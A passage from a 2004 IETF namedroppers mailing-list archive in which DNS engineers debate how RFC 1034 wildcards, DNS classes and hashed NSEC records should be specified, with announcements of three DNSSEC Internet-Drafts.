Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 21 11:05:37 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <11229.1095715413@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 4:23 +0700 9/21/04, Robert Elz wrote: > Date: Mon, 20 Sep 2004 15:34:35 +0100 > From: Edward Lewis <edlewis@arin.net> > Message-ID: <a06020403bd7489f8c2ff@[193.0.8.231]> > > | QUERY Q(smtp.example.com, A) returns: > | ... > | It comes down to the meaning of the word "match" in the >last paragraph > | of 3.c. If we are deciding between 3.a or 3.b, meaning >that the query > | name is a cut point, the presence of the NS occludes the A. >Does that > | constitute a "match?" > >What A? I'm not sure what you're thinking of here? The A in the query, well, the occlusion would be the A in the subzone named smtp.example.com that matches the type queried. >The algorithm is simple. Look for an exact name match ("match" means >identical labels modulo case independence). Not found - done with >4.3.2 (3a) - and 4.3.2 (3b) cannot apply either. Then look for a wildcard >record (ie: label '*') - that exists, but no RR's of the appropriate type. >Hence copy nothing to the answer section. "Go to step 6" (ie: we're done). > >In case you doubt the definition of "match" (for names) - just look at 4.3.2 >(3c) - we only start looking for '*' labels when a match is >"impossible" - that >is when there is no match. If you start imagining that the presence of a '*' >label causes a name match, then this whole section would be absurd. >The '*' label does not "match" the QNAME, rather it causes RR's to be >(able to be) synthesised that have a label which does match the QNAME >(which don't have to be tested for that purpose, as they're constructed >to satisfy it). My issue isn't "match" for names, but "match" for types. 1034 is inconsistent with terms - QTYPE ANY, or QTYPE *, is different that * domain names. (A cache interprets QTYPE ANY, it doesn't do any synthesis based on * domain names.) That's why I think it's unclear what is meant by "match" for types. I favor the ANSWER(0) choice myself, but I want to hear what the group thinks. There is another place in the text that supports the treatment of NS as a match for a queried A - if there's a name match at a cut point. (This is just to support why the AUTHORITY(2) answer option is a candidate.) > | The problem is: > | > | Assuming the child (and not the parent) is authoritative for the NS > | set, is it legal for the parent to synthesize the child NS set? > >Yes, that's where things get hairy. The "delegations cancel wildcards" >rule suggests that NODATA (ANSWER(0)) would be appropriate, yet, the >algorithm suggests that ANSWER(2) (the 2 NS records) would be correct. > >This is the one I'd just leave undefined. > >Fortunately (leaving aside whatever implications this may have for >dnssec) this makes absolutely no difference to anything that matters, >as absolutely nothing (real) does QTYPE=NS queries. That is, the set >of people reading this message (subscribers to namedroppers, etc) and >a few more like us are the only entities that would ever issue such a >query - it is basically useless for applications. Now that you've raised the dnssec word ;) DNSSEC makes this yuckier. I've been trying to avoid the complications until we clarify the base specification. In a nutshell, the problem is "* DS" - unlike the NS set, the DS is authoritative at the parent. So, if synthesizing an NS set is illegal because the synthesizing zone is not authoritative, synthesizing a DS is legal. Now we can have a DS set without an NS set...ugh. > | The irony here is, by following established rules in >generating the NS > | set for the answer (here it is the answer and not the >referral because > | we've fallen into step c) the parent has delegated away the authority > | for the name. The parent is no longer allowed to answer for this. In > | hindsight, the answer ought to have come from 3.b > >No, it shouldn't - 3b only applies when we have an exact match. There's >no "smtp" in the zone file, hence that one cannot possibly occur. > >Personally I lean towards generating AA NS records that satisfy the >query - that is, there's no delegation here, the name "smtp.example.com" >hasn't been delegated anywhere, and hence the example.com zone is still >authoritative for the data - and then the '* NS' records cause synthesis >of the answer section records (which are from the example.com zone, and >hence AA answers). Of course this puts us in the novel position of >having NS records with no zone cut. I have in my mind a Road Runner - Wile E. Coyote cartoon and the ACME black hole. When the hole is placed on a road, the Road Runner runs over it like it's just a black mat. When the Coyote jumps on it, he falls into the ersatz hole. >There's no possible practical use for this nonsense however, so it isn't >in the least bit important. It reminds me of Saturday morning cartoons. That's a good thing. ;) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: Re: any more comments? Date: Tue, 21 Sep 2004 11:50:06 +0200 Lines: 34 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd70f136e5f8@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-From: owner-namedroppers@ops.ietf.org Tue Sep 21 12:00:03 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Fri, 17 Sep 2004 16:01:44 EDT." <a06020407bd70f136e5f8@[192.168.1.100]> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Content-ID: <8422.1095760205.1@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Edward Lewis <edlewis@arin.net> wrote: > 1) Should we remove the restriction on names that start with a '*' > and have another in the middle? I think we know how this would work, in my opinion the restriction as it stands is not consistent. Why should *.<foo>.*.<bar> be worse than <foo>.*.<bar> once we agree that the latter does not synthesize <foo>.<something>.<bar> (the MARID case). In fact it will only synthesize anything else but *.<bar> and below. So, the clarification should just say that only the leftmost star actually counts. Again, a counterexample in the/an appendix may help. > 2) Should we use a phrase like "source of synthesis" when refering to > the "power" a domain name starting with a '*' has when it comes to Yes. > the lookup process? Should we try to abandon the term "wildcard" as > it has become too overloaded? That's a nice approach to clarification - just deprecate the confusing term :-) But yes, in the document itself, when explaining anything, I'd either say "source of synthesis" (or whatever the term will be) or "*". By the way, since someone asked whether the "*" in a zone is always a "source of synthesis" it might be helpful to explicitly state that this "power" can't be taken away, not even by writing "\*". -Peter -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: wild cards Date: Tue, 21 Sep 2004 11:21:49 +0100 Lines: 130 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> <BAD566E1582E5B1AC81EB5CF@[192.168.0.16]> <a06020407bd74a31763de@[193.0.8.231]> <3E2A3B81EA464133E59C9314@[192.168.0.16]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Tue Sep 21 12:32:07 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <3E2A3B81EA464133E59C9314@[192.168.0.16]> To: Alex Bligh <alex@alex.org.uk> Precedence: bulk At 16:51 +0100 9/20/04, Alex Bligh wrote: >A couple of comments on draft-ietf-dnsext-wcard-clarify-02.txt (in >the absence of a more recent version > >1. QCLASS >========= > >> Section 1. >> ... >> Note that a wild card domain name has no special impact on the search >> for a query type (QTYPE). If a domain name is found that matches the >> QNAME (exact or a wild card) but the QTYPE is not found at that >> point, the proper response is that there is no data available. > >What happens in the following scenario: > $ORIGIN example.com > * IN MX target.example2.com. > foo IN TXT "bar" > baz HS [blah] > >If a query is of QCLASS IN and QTYPE MX is executed for "foo.example.com", >the correct response is no data, not the the wildcard MX. If a query of >QTYPE ANY and QCLASS IN is sent for "baz.example.com", is this true as >well? Or is the right response the wildcard? 4.3.3 of RFC1034 is unclear. > >[aside: noticed this thinking a different CLASS might be useful for >NSEC' to get around the wildcard problem] My point of view - I've not come across a zone that mixed classes. much less a zone file. Quoting RFC 1034: "Since the class of all RRs in a zone must be the same, only the first RR in a zone need specify the class." This is found under the example in 6.1. (Search for the string to see the context.) There's also this: "Note that the "cuts" in the name space may be in different places for different classes, the name servers may be different, etc." in section 4.2. Given those passages, I'd say that the example above isn't a realistic example. Overall, I have not seem much in the way of non-IN class work. Yes, there's the "dig version.bind CHAOS TXT" stuff (specific to an implementation, cited as an example) but that isn't delegated, etc. I am aware that some folks have used the Hesiod class for stuff, but I haven't and haven't heard from anyone directly. IOW - I don't have anything constructive to add here. (Too bad I'm not paid by the word to say that...;)) > >2. Names starting with '*' >========================== > >Section (2) of wcard-clarify is clear; one thing it clarifies that >you haven't noticed is a miswording in 4.3.3 of 1034. > >> In the previous algorithm, special treatment was given to RRs with owner >> names starting with the label "*". Such RRs are called wildcards. > >This might be read to include "*foo.example.com". It's obviously meant to >mean "RRs with owner names starting with a label which exactly matches >'*'". The label starting with "*" case could be made clearer, partly >for reasons in [] below. Maybe the issue is "starting with the label '*'" vs. "starting with a label starting with '*'". (Quotes changed to prevent "".) What's meant in the text is that the whole label is "*", not just a prefix of it. Is that what you mean? Somewhere I think I defined the label in hex, just to be sure (length 1, char='*'). >3. Labels with dots in them >=========================== > >(not strictly wildcards but I think relevant because of (2) above). > >There does not appear to be anything which prevents having a single >label with a "." in it, i.e. a label of 0x03 0x41 0x2e 0x42, which >is a single label of "a.b" (as opposed to two concatenated labels >a.b). RFC 1034 s3.1 seems to be quite clear on that. > >I am presuming these are legal because there is nothing saying they >aren't, and the reason we aren't "taking the easy way out" and >banning things like "foo.*.bar.example.com" is the principle of >binary transparency. Definitely within spec. But the label isn't printed as "a.b" but "a\.b". >On the other hand, I think (according to 4.3) that no QNAME can >match these - correct? If not, what happens with labels starting >"0x2a 0x2e" (i.e. starting with "*.")? Such a label isn't defined to be a wild card - or a source of synthesis. What you've listed is a label "*\.", which isn't the same as "*". > >[ Suggesting that the illustration in RFC 1034 section 3.5 is >made mandatory will I suspect win me no friends ] The context of 3.5 is: "The following syntax will result in fewer problems with many applications that use domain names (e.g., mail, TELNET)." This isn't a restriction on domain names but an "out of scope" discussion of the impact of the selection of domain names for the convenience of applications in use in 1987. (I suppose mail is still in use somewhere. ;)) I don't think that it was ever intended to restrict names to that syntax, nor even to 1123's definitions. (That is for host names, not all domain names are host names.) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Paul Vixie <paul@vix.com> Subject: Re: wild cards Date: Tue, 21 Sep 2004 14:12:07 +0000 Lines: 42 Sender: owner-namedroppers@ops.ietf.org References: <edlewis@arin.net> X-From: owner-namedroppers@ops.ietf.org Tue Sep 21 16:31:50 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from Edward Lewis <edlewis@arin.net> of "Tue, 21 Sep 2004 11:21:49 +0100." <a06020410bd75ac1ada6c@[193.0.8.231]> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk this was settled in RFC 2136. > My point of view - I've not come across a zone that mixed classes. ... 1034/1035 were, as stated here recently and often elsewhere previously, inconsistent in their treatment of classes. half of the text indicates that a multi-class zone can exist; the other half of the text indicates that each class has its own delegation hierarchy with potentially unique (within the class) zone cut boundaries, and its own set of root servers. historically, BIND4 was similarly inconsistent. which meant that neither interpretation would fully work, and meant that in practice there could only be one delegation hierarchy. other classes were essentially hard coded (for example, hesiod and chaos). after some long talks with PVM in which i learned that classes were a late editorial change rather than an original basic idea of DNS, i decided that the separate-hierarchy interpretation was the correct one. BIND8 and BIND9 do classes that way, though BIND8 doesn't support more than one class of roots so there's still a lot of hardcoding to support multiple classes using BIND8. this became very significant during the development of what's now RFC 2136, and there was discussion in the DNSIND working group as to what multiple classes meant, and the group's decision for the protocol echoed the one i had made earlier concerning the BIND implementation -- each class has its own delegation hierarchy. you can see this all over RFC 2136 by noting that it takes the tuple <zone,class> to denote a zone, not just a zone name. you can also see it in section 7.1, which says: 7.1. Using metavalues for CLASS is possible only because all RRs in the packet are assumed to be in the same zone, and CLASS is an attribute of a zone rather than of an RRset. (It is for this reason that the Zone Section is not optional.) so, from a protocol-lawyer standpoint, the question of whether a zone can mix classes has already been settled. it can't. note that this simplifies the wildcard algorythm by a lot. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-dnsext-dnssec-records-10.txt Date: Tue, 21 Sep 2004 15:37:53 -0400 Lines: 99 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 21 21:56:34 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: i-d-announce@ietf.org Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the DNS Extensions Working Group of the IETF. Title : Resource Records for the DNS Security Extensions Author(s) : R. Arends, et al. Filename : draft-ietf-dnsext-dnssec-records-10.txt Pages : 33 Date : 2004-9-21 This document is part of a family of documents that describes the DNS Security Extensions (DNSSEC). The DNS Security Extensions are a collection of resource records and protocol modifications that provide source authentication for the DNS. This document defines the public key (DNSKEY), delegation signer (DS), resource record digital signature (RRSIG), and authenticated denial of existence (NSEC) resource records. The purpose and format of each resource record is described in detail, and an example of each resource record is given. This document obsoletes RFC 2535 and incorporates changes from all updates to RFC 2535. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-records-10.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-dnsext-dnssec-records-10.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-dnsext-dnssec-records-10.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-9-21152845.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-dnsext-dnssec-records-10.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-dnsext-dnssec-records-10.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-9-21152845.I-D@ietf.org> --OtherAccess-- --NextPart-- -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-dnsext-dnssec-protocol-08.txt Date: Tue, 21 Sep 2004 15:37:48 -0400 Lines: 100 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 21 21:57:45 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: i-d-announce@ietf.org Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the DNS Extensions Working Group of the IETF. Title : Protocol Modifications for the DNS Security Extensions Author(s) : R. Arends, et al. Filename : draft-ietf-dnsext-dnssec-protocol-08.txt Pages : 57 Date : 2004-9-21 This document is part of a family of documents which describe the DNS Security Extensions (DNSSEC). The DNS Security Extensions are a collection of new resource records and protocol modifications which add data origin authentication and data integrity to the DNS. This document describes the DNSSEC protocol modifications. This document defines the concept of a signed zone, along with the requirements for serving and resolving using DNSSEC. These techniques allow a security-aware resolver to authenticate both DNS resource records and authoritative DNS error indications. This document obsoletes RFC 2535 and incorporates changes from all updates to RFC 2535. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-protocol-08.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-dnsext-dnssec-protocol-08.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-dnsext-dnssec-protocol-08.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-9-21152839.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-dnsext-dnssec-protocol-08.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-dnsext-dnssec-protocol-08.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-9-21152839.I-D@ietf.org> --OtherAccess-- --NextPart-- -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-dnsext-dnssec-intro-12.txt Date: Tue, 21 Sep 2004 15:37:42 -0400 Lines: 95 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 21 22:01:27 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: i-d-announce@ietf.org Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the DNS Extensions Working Group of the IETF. Title : DNS Security Introduction and Requirements Author(s) : R. Arends, et al. Filename : draft-ietf-dnsext-dnssec-intro-12.txt Pages : 26 Date : 2004-9-21 The Domain Name System Security Extensions (DNSSEC) add data origin authentication and data integrity to the Domain Name System. This document introduces these extensions, and describes their capabilities and limitations. This document also discusses the services that the DNS security extensions do and do not provide. Last, this document describes the interrelationships between the group of documents that collectively describe DNSSEC. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-intro-12.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-dnsext-dnssec-intro-12.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-dnsext-dnssec-intro-12.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-9-21152833.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-dnsext-dnssec-intro-12.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-dnsext-dnssec-intro-12.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-9-21152833.I-D@ietf.org> --OtherAccess-- --NextPart-- -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: another's view on zone enum & on-line signing Date: Wed, 22 Sep 2004 11:25:10 +0100 Lines: 26 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 12:39:04 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 To: namedroppers@ops.ietf.org Precedence: bulk I spoke with a person who used to be a DNS administrator at a well-known content provider (non-ISP, non-registry, etc.). He told be that when he was at that job, he would not have been able to justify the deployment of DNSSEC because of zone enumeration. The rationale for this is "the usual" - nothing other than not wanting to put certain information "so easily" available on the Internet. As far as on-line signing as an option, he replied that that was not a big deal for him. "What's the difference between managing extra zone keys and managing TSIG keys for XFR's?" (Just a data point...) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Samuel Weiler <weiler@tislabs.com> Subject: Re: dictionary attack on nameservers Date: Wed, 22 Sep 2004 09:15:32 -0400 (EDT) Lines: 49 Sender: owner-namedroppers@ops.ietf.org References: <6282.1094824776@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 15:26:32 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: weiler@filbert To: Jim Reid <jim@rfc1035.com> In-Reply-To: <6282.1094824776@gromit.rfc1035.com> Precedence: bulk On Fri, 10 Sep 2004, Jim Reid wrote: > Another potential problem with the current hashing proposals is that a > hash could collide with a label for an existing name. ie Suppose the > hash of the A record for jim.foo is alex.jim.foo but alex.jim.foo > already exists as a delegation point or CNAME. Apologies if this has been mentioned before[1], but I couldn't find it in this thread, and it came up in a discussion yesterday... The way I understand the proposals on the table, this sort of collision is fine and dandy. No "real" name should "naturally" have an NSEC++. If another "real" name happens to hash to another existing name, you insert the NSEC++ there as normal. The pre-existing "real" name has it's corresponding NSEC at some (presumably different) name. Example: "real" names: example.com SOA/DNSKEY/etc. (the apex) a.example.com A 127.0.0.1 overly-long-name.example.com A 10.1.1.1 Hash all three: hash(apex) ---> qwertyuiop\034\011zyxw hash(a) ---> overly-long-name hash(overly-long-name) ---> acbdefghijklmnoz\000\009 And add these three NSEC++ RR's when signing [1]: acbdefghijklmnoz\000\009 NSEC++ qwertyuiop\034\011zyxw A qwertyuiop\034\011zyxw NSEC++ overly-long-name SOA DNSKEY NS overly-long-name NSEC++ acbdefghijklmnoz\000\009 A If anyone every queries for (overly-long-name,IN,MX), they get the acbdefghijklmnoz\000\009 NSEC++ record. So there's no conflict between having "real" RRsets and generated NSEC++'s at the same name. -- Sam [1] The type bitmaps in these aren't quite right; they omit RRSIG and NSEC++. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: wildcards again [Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) ] Date: Wed, 22 Sep 2004 15:22:34 +0100 Lines: 41 Sender: owner-namedroppers@ops.ietf.org References: <864823E63085C47CEEC82009@[192.168.100.25]> <200409171131.i8HBV6500087@grimsvotn.TechFak.Uni-Bielefeld.DE> <6463.1095424313@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 16:33:45 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.8 (Windows/20040913) X-Accept-Language: en-us, en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <6463.1095424313@munnari.OZ.AU> X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Robert Elz wrote: > Date: Fri, 17 Sep 2004 12:51:42 +0100 > From: Alex Bligh <alex@alex.org.uk> > Message-ID: <864823E63085C47CEEC82009@[192.168.100.25]> > > | And the hash of www is H, what breaks if, on a query of type MX for H, > | it returns: > | H IN MX 10 target > | (i.e. ignores the NSEC' record). > > The "ignores the NSEC' record" is not nearly as easy as it seems like > it might be (as a message from Mark Andrews pointed out a few days ago). > > But even if it is easy, explaining how wildcards work now is difficult, > and than's when it is all simple, and clean, and consistent (difficult > because it sometimes isn't what people are hoping for, or are expecting > based upon the assumption that wildcards do pattern matching). > > Expecting anyone to ever understand the things if we start adding special > cases to the algorithm is beyond hope. I don't really buy that adding "ignore NSEC' records" is really going to confuse people to any noticable extent. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: wildcards again [Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) ] Date: Wed, 22 Sep 2004 15:22:59 +0100 Lines: 99 Sender: owner-namedroppers@ops.ietf.org References: <200409171131.i8HBV6500087@grimsvotn.TechFak.Uni-Bielefeld.DE> <864823E63085C47CEEC82009@[192.168.100.25]> <20040917144750.216cd419.olaf@ripe.net> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk>, pk@TechFak.Uni-Bielefeld.DE, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 16:34:12 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.8 (Windows/20040913) X-Accept-Language: en-us, en To: "Olaf M. Kolkman" <olaf@ripe.net> In-Reply-To: <20040917144750.216cd419.olaf@ripe.net> X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Olaf M. Kolkman wrote: > On Fri, 17 Sep 2004 12:51:42 +0100 > Alex Bligh <alex@alex.org.uk> wrote: > > >>And the hash of www is H, what breaks if, on a query of type MX for H, >> it returns: >> H IN MX 10 target >> (i.e. ignores the NSEC' record). > > > > In other words you would propose that the searching algorithm would be > modified based on the qtype queried? > > If so ...auucchhh.... :-) > > NB it is not that one cannot propose a change to the full standard, > wildcard carify proposes (will propose) a change on how wildcard owned > CNAMEs are dealth with. > > > A Little Side Track (I am not sure if these scenarios have been > scetched, apologies if I am duplicating arguments) > > EBS1 (Evil Bastard Scenario 0ne): > > I own secret-wg.org. > > Tomorrow I am going to register > HASH(salt=0x00, secret-wg.org).org > HASH(salt=0x01, secret-wg.org).org > ... > HASH(salt=0xff, 